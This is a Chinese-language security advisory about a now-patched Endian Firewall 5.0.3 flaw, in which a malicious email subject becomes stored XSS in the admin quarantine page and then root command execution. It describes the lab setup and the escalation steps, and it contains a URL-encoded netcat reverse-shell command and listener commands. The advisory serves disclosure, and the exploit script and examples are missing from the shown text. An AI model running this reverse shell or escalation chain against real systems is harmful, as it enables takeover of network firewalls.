SSD安全公告-Endian防火墙从存储型XSS到远程命令执行

Credit to Author: SSD / Maor Schwartz| Date: Mon, 11 Dec 2017 09:17:06 +0000

Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
See our full scope at: https://blogs.securiteam.com/index.php/product_scope

漏洞概要

以下安全公告描述了在Endian防火墙5.0.3版本中存在的一个存储型XSS漏洞,成功利用该漏洞可造成远程代码执行。

Endian防火墙是一个“专注Linux安全的发行版本,,它是一个独立的,统一的安全管理操作系统。 Endian防火墙基于强化的Linux操作系统。”

漏洞提交者

一位独立的安全研究者向 Beyond Security 的 SSD 报告了该漏洞

厂商响应

厂商已经发布针对该漏洞的补丁。获取更多信息: https://help.endian.com/hc/en-us/articles/115012996087

漏洞详细信息

Endian防火墙是基于Linux的防火墙/网关。

它使用不同的颜色来标记其trusted,untrusted 和DMZ网络:

  • 绿色 – trusted网络
  • 红色 – untrusted 网络
  • 橙色 – DMZ
  • 蓝色 – WiFi

用户可控的输入没有经过充分过滤,通过从untrusted 网络(红色)发送电子邮件到DMZ上的邮件服务器(橙色),Endian防火墙会把来自untrusted 网络的电子邮件隔离。

当来自trusted网络(绿色)的用户登录到Endian Firewall WebAdmin并检查隔离区中的电子邮件(Services > Mail Quarantine > quarantine)时,会执行存储型XSS脚本。

漏洞证明

配置环境

  • 安装Endian防火墙虚拟机并设置防火墙网络接口为以下IP:
  1. 绿色 – 192.168.0.190
  2. 红色 – 192.168.0.192
  • 设置以下密码:
  1. Web管理员(admin/Password1)
  2. SSH管理员(root/Password1)
  • 连接Webadmin接口,添加ORANGE网络并更改GREEN IP。最后的环境应该是这样的:
  1. 防火墙界面GREEN – 192.168.10.190
  2. 防火墙接口ORANGE – 192.168.20.190
  3. 防火墙接口RED – 192.168.0.192
  • 现在我们添加以下机器到新的接口:
  1. 部署VM并将其IP设置为192.168.10.191(GREEN) – 用于连接到Endian WebAdmin
  2. 部署VM并将其IP设置为192.168.20.191(ORANGE) – 用作邮件服务器
  3. 部署虚拟机并将其IP设置为192.168.0.12(RED) – 用于触发此漏洞(通过发送恶意邮件)并接受反连shell

接下来是按照Endian指令配置SMTP代理
http://help.endian.com/hc/it/articles/218144808-Mail-Proxy-Basic-Setup

  • “Incoming domain”==”test.it”
  • SMTP Proxy>Advanced,你必须取消选中”Recipient address verification”

演示

在红色PC(192.168.0.12)上监听25端口 (”netcat nc 192.168.0.12 25”)并发送以下电子邮件(使用telnet):

从绿色PC,连接到WebAdmin,并转到Services > Mail Quarantine > quarantine,会看到HTML代码被执行。

完整的漏洞证明

现在我们要想要获得root权限:

  1. 更改系统的root密码(System>Status> SSH Password)
  2. 通过Web Shell控制台(System> Web Consolle),使用root的新密码访问系统shell
  3. 通过在操作系统上执行一个root命令,获取远程Red PC的shell访问
  4. 我们也可以检查SSH是否被禁用,如果被禁用,可以启用它

所有内容都可以合并到一个subject中,但是我们必须考虑RFC 2822第2.1.1节中关于电子邮件”subject:”的规范:“每行不能超过998个字符”。

所以每998个字符后,Endian SMTP代理服务插入一个换行符。 这意味着我们的subject(AKA攻击脚本)可以超过998个字符,但是如果我们发送的JavaScript命令超过998个字符,那么脚本将被截断,导致攻击失败。

例1

例2

这就是为什么在攻击脚本中你会看到一组分号:它们是作为空操作(NOP)使用的。

注1:使用netcat或telnet发送的所有东西都必须在一行中(不管Endian如何对待它)

注2:我们使用两种基本的编码器来避免某些字符。

在第一部分,我们看到一个Base64编码,除非你想自定义密码,否则不需要修改它。

在最后一部分,我们看到使用URL编码名为”paystr”的JavaScript变量。

它的值 – %6E%63%20%31%30%2E%38%2E%30%2E%36%20%35%33%20%7C%20%2F%62%69%6E%2F%62 %61%73%68%20%7C%20%6E%63%20%31%30%2E%38%2E%30%2E%36%20%38%30’等于:

如果你要执行不同的操作系统命令,则需要对其进行修改

注3:在攻击脚本尾部时,会看到一段很长的分号字符串,然后接着的是经编码后发送到系统的payload(var paystr)。 如果要发送的命令更长或者更短,那么以分号填充,但记得至少保留3个分号。

下面的payload将root密码更改为”peruperu”,并向192.168.0.12上启动的两个监听器(netcat)发起连接请求。

我们使用TCP端口53和80,因为默认情况下,Endian通过这两个端口传递信息。

在Red PC上启动2个监听器(nc -lvp 80和nc -lvp 53),连接到邮件服务器(nc 192.168.0.12 25),按照PoC的步骤发送电子邮件:

Print Friendly, PDF & Email

https://blogs.securiteam.com/index.php/feed